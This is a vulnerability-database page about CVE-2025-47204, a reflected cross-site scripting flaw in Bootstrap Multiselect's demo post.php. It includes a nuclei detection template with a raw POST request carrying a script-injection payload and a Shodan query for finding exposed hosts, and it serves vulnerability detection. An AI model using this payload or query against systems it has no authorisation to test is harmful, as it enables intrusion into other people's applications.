Browse / CVEs / CVE-2025-47204
CVE-2025-47204
Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting
mediumseverity
0.4%likelihood of exploitation, next 30 days
39%of all CVEs are less likely
Readycheck to confirm it
A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
Fix
Only use the necessary components (css/js) in production applications
How to confirm it
Send: POST /bootstrap-multiselect/post.php
Positive when: contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "bootstrap-multiselect-master")Run it with nuclei: nuclei -id CVE-2025-47204 -u <target>
The full check
id: CVE-2025-47204
info:
name: Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting
author: r3naissance
severity: medium
description: |
A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
remediation: |
Only use the necessary components (css/js) in production applications
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47204
classification:
epss-score: 0.00443
epss-percentile: 0.38851
metadata:
verified: true
max-request: 1
shodan-query: html:"bootstrap-multiselect"
tags: cve,cve2025,xss,bootstrap-multiselect,vkev,vuln
http:
- raw:
- |
POST /bootstrap-multiselect/post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
canary="><script>alert(document.domain)</script>
matchers:
- type: dsl
dsl:
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(document.domain)</script>", "bootstrap-multiselect-master")'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from